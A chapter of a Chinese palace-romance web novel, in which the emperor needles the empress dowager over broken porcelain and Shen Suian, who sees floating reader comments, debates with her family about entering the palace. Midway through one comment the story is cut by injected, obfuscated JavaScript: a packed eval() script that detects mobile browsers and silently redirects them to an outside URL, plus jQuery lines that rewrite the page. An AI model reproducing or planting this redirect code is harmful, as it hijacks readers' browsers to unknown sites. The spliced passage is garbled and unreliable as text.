“我不同意!”
名贵的瓷器砸在地上,发出清脆的响声,可上首的人显然心情不是很好。
“沈氏女怎可进宫?”
坐在上首的美妇人胸口剧烈起伏着,虽已是四十有余,但因着保养得当,看着像是三十多岁的样子。面若银盘,满头珠翠更是将人衬托的雍容华贵,而此时却因发怒而显得面目狰狞起来。
“太后息怒。”
宫人跪了一地,听着上面的贵人发怒,纷纷努力将头埋低,生怕一个不小心牵连了自己。
王嬷嬷平静的看着满地狼藉,像是习以为常,看太后还想再说些什么,便使了个眼色让人退下,而后倒了杯茶水递给太后顺气。
太后看着手里的茶水,一饮而尽:“这么多年,也只有王嬷嬷一人合哀家心意。”
“能得太后赏识,是老奴的荣幸。”
王嬷嬷回答的不卑不亢,即便是身边老人,也从不仗着资历拿乔,这态度让太后又满意了几分。
想着近来发生的事,没一个让她顺心的,忍不住头疼。
“皇帝就这么不想让哀家的人在宫中出头?前面刚来个贤妃,后面又要迎沈氏女进宫,身份一个比一个高,这后位又怎会落到蓉儿身上?”
贤妃是皇帝母家的人,从龙有功暂且不论,可沈岁安又是个什么东西,也配进宫跟蓉儿争?
王嬷嬷上前为其揉按着太阳穴,宽慰道:“太后好歹也是皇上名义上的嫡母,想必好好跟皇上说说,皇上也会答应的。”
“再说了,凭着蓉小姐的资质,又何愁进宫后不会得宠?”
太后听见恭维自己的话,心情果然舒畅了许多,轻哼了一声:“哀家的侄女,自然是最好的。”
不知又想到了什么,太后拧起眉头:“可这皇帝登基后,从未踏足过仁康宫,万一不同意怎么办?”
“孝道当先。”
只四个字,就让太后放下心来,大周孝字治国,她虽是继母,但到底将皇帝拉扯大,没有生恩也有养恩在。
“你说的对”,太后坐起身,“既如此,那就去请皇帝过来吧。”
“听说母后找朕?”
慕春杳听说太后在仁康宫发了好大一顿脾气,便再顾不得看那些无趣的折子,急匆匆赶来看热闹。
太后望向门口,对上了一双似笑非笑的眸子。
那双多情的桃花眼看人时本该温柔多情,可太后愣是觉得此时慕春杳的眼睛里没有一点温度,像是在看一个死人。
反应过来自己在想什么后,太后一惊,自己怎么会被一个二十多岁的孩子吓到,一定是自己多心了。
其实太后想的没错,她确实是多心了。慕春杳那可不是没温度,如果近看,那分明是幸灾乐祸,看热闹不嫌事大。
一室碎瓷还没来得及收拾,正巧被慕春杳看见,只见他眉头一挑:“太后这是发了好大的脾气,气大伤肝,太后还是保重身体为好。”
“皇帝今日倒是终于有时间来关心哀家,还有,按规矩,你当叫哀家一声母后。”
自慕春杳上位后,从未踏足过仁康宫一步,劝诫他的折子一道接着一道,但都被他压了下来,寻了其他理由,该罚罚,该贬贬。
“母后”,慕春杳玩味的轻念着二字,对此不置可否,却依旧我行我素。
看着一室狼藉,心中很快有了计较。
“倒也不是关心太后,只是”,慕春杳指着满地碎瓷,道:“这个是定州红瓷,价值千金,那个是青花琉璃盏,乃是前年国岁时外邦所供。”
“哦,对了,还有这个芙蓉白玉杯,价值连城。”
“这些东西碎了尚宫局可不会为您补,还有,它们属于宫中财务,坏了或碎了都是要登记的,您看?”
太后好不容易暂平下去的怒火又被挑起,眼下之意,是要让她补上空缺?
“历代从没有这样的先例。”太后冷声道。
“历代皇帝重孝道,所以大多都是从私库出。可是太后”,慕春杳顿了顿,不欲跟眼前的人虚与委蛇,直言道:“朕为何要帮你?”
“你——”
赶在太后发怒之前,慕春杳接下了太后的话:“既然太后如此在意这件事,那朕就只能只好从庆王的年俸里扣了。”
“按例,亲王的年俸一千两,这些东西,朕看在都是一家人的份上,就按庆王两年俸禄算。”
“那可是你亲弟弟!”
想着自家儿子平常那花钱大手大脚的样子,南边养着的那些,可都是吞金兽。军饷、粮草,可处处都是钱。
看着慕春杳的样子,太后心中忽地“咯噔”一下,想着皇帝是不是知道庆王在做些什么。
慕春杳这时也在心里暗自盘算,庆王最近可不安生,正好接太后的事趁机发落了他,这些银子虽然动不到他的根本,但也够他忙一阵子,不在他面前找事。
癞蛤蟆它虽然不咬人,但它膈应人啊!
太后早已被气到说不出话,王嬷嬷在一旁拦着:“娘娘,莫要动怒,有什么事等庆王进宫再说。”
现在是在别人的地盘上她们可占不到便宜,当然,这句话没说,太后却意会出来了。
慕春杳早已出去,但浑厚的声音还是透过殿门进了太后的耳朵里:“还有,朕的后宫朕做主,太后还是不要管的太宽为好,不然,朕可不能保证未来庆王妃到底出自哪家,会不会缺胳膊少腿。”
太后一口银牙咬碎,威胁,这时赤裸裸的威胁。
……
沈府内,气氛也是剑拔弩张,沈云泽和沈平川僵持着,沈文进在一旁默不作声,闭目养神,沈夫人在一旁也是一脸怨怼。
书房内最放松的倒属沈岁安了。
“爹,你糊涂了。那皇宫是人待的地方吗?怎么能把妹妹送去那种地方?且先不论当今陛下怎么样,就论皇宫里的阴谋诡计,凭妹妹的脑……”
话说到一半,沈云泽顿住了,本想说凭沈岁安的脑子在里面活过一个月都够呛,但反应过来那不就是在说岁岁笨嘛,万一伤到自尊心怎么办?
于是话到嘴边就变成了:“凭岁岁这吃吃喝喝,玩玩闹闹,与世无争的性子,宫中可不适合她。”
沈岁安:你人还怪好的嘞,就差说她缺心眼了。
沈文进看见在一旁从头到尾没有说过话的沈岁安,忽道:“岁岁,你怎么想?”
谁知沈岁安第一句话便是:“母亲,现在去捐那八百两还来得及吗?”
沈夫人:?
只听沈夫人嗤笑一声:“现在信了?晚了。”
沈岁安对此表示很遗憾。
可在场除她们之外的三人对此都不知情,沈文进问道:“什么八百两?”
沈夫人又将下下签的来龙去脉又讲了一遍,其他三人都是一样的反应:
这个和尚,有点东西在身上。
话题跑偏,沈文进言归正传,连忙将话题拉回来,拼命想要扯出一副笑容,却比哭还难看,索性便放弃了:“岁岁,你想不想进宫?”
“当然是——”
话还未说完,沈岁安又看到了天上在飘字:
【这是女配家人要把她送进宫那段吧?】
【我记得女配当场拒绝后就被她爷爷罚了禁足,直到进宫选秀都没出去过呢】
【可惜了】
弹幕哀叹声连连。
“岁岁?”
沈文进看沈岁安一直盯着某一处发呆,还以为沈岁安是被吓傻了,不由得出声提醒。
沈岁安回过神来,把“不想”二字咽下去,道:“当然是‘想’了,爹娘养育了我这么多年,我也是时候回报一二。”
弹幕炸了:
【不是妹妹,你怎
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178188|180822||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么能说想呢?】
【你不禁足,怎么加剧和家里的矛盾,男主又要怎么离间你们?】
……
沈岁安余光瞟到,但笑不语。
沈云泽对沈岁安的回答很是震惊。其实不止他,任何了解过沈岁安的人,都不信她会说出这番话,可沈岁安的声音犹在耳边,由不得他们不信。
“岁岁,你认真的?”沈文进狐疑,这么容易的吗?本以为要经过一番唇枪舌战,可现如今顺利的让人不敢想象。
沈岁安点点头,扬起天真可爱的脸庞,问道:
“宫里有美食吗?”
沈文进点头:“全京城都找不出比宫里御厨做饭更好吃的厨子。”
“有美衣吗?”
“有,像你平常钟爱的浮光锦,在宫中要多少有多少。”
“那我可以睡觉吗?”
“宫里的宫殿很多,随你睡。”
沈文进将慕春杳的原话搬来。
【这还是真咸鱼啊!】
咸鱼为何意?
就在她想要再看看的时候,天上字又消失不见了。沈岁安心中虽急,但也顾不得许多,继续问:
“那我睡相不好,我睡觉抢被子,打呼噜磨牙还……”
“停!”
就算沈文进再迟钝现在也反应过来了,沈岁安哪里是在问问题,这分明是在挑刺。
他终于明白了当初他和慕春杳掰扯的时候,慕春杳的心情了。
"陛下他,睡的死,身体好,冻不着。"
沈岁安:“……”
“我要是被人害了怎么办?”
这个问题,沈文进不是没想过。
但似乎唯一的解法便是他在宫中多安排点人守着沈岁安,最坏的结果不过是万一出了什么事,他就算拼着这一把老骨头不要,也要保下她。
沈夫人也看出女儿的真实想法,问道:“岁岁,娘最后再问你一次,你到底想不想进不进宫?”
看着家人对自己的关心,沈岁安忽然就有了勇气拒绝,她摇摇头,甚至声音中还带了点哭腔:
“不去,岁岁害怕。”
“好。”
沈夫人答应的干脆,声音温柔且坚定。
沈平川自是和夫人一个立场:
“不去就不去,我们沈家的女儿,凭何去受苦?”
沈云泽也在旁边附和着。
沈文进重重叹息一声,但也没说什么,随他们去了。
看来那些字说的也不准,沈岁安暗想,那她是不是也能改变许多东西?
众人沉浸在喜悦中。
……
只可惜,事与愿违,慕春杳的速度永远很快,第二日,礼部便来人了。
入宫选秀的秀女也是有讲究的,第一便是合八字。
将八字交由护国寺去批,但合的却不是皇帝的八字,而是大周的。
阻碍国运者,自是不能进宫,而且一般这种情况出现后也就只有青灯古佛了此残生。所以,这极大的杜绝了想要改八字避开入宫的可能。
第二便是量体裁衣。
与前朝不同,大周秀女需统一着装,因为留下的人位分是当场赐下的,为了防止有人在选秀中穿的花里胡哨,迷惑君王,德不配位,所以,先祖特地想了这个办法。
衣裳样子中规中矩,不丑,但也不出挑。
沈岁安僵硬的看着一大早闯进她家的礼部的人:
“你们要干什么?”
为首的宫女规规矩矩的行了个礼:“回沈小姐,陛下亲自点了你当秀女,奴现在要为您裁衣裳。”
最后,还不忘买个好:“这殊荣,在京中小姐可是独一份呢。”
沈岁安:这殊荣给你你要不要。
可她再缺心眼,也不敢在礼部的人面前甩脾气,只好耐着性子道谢。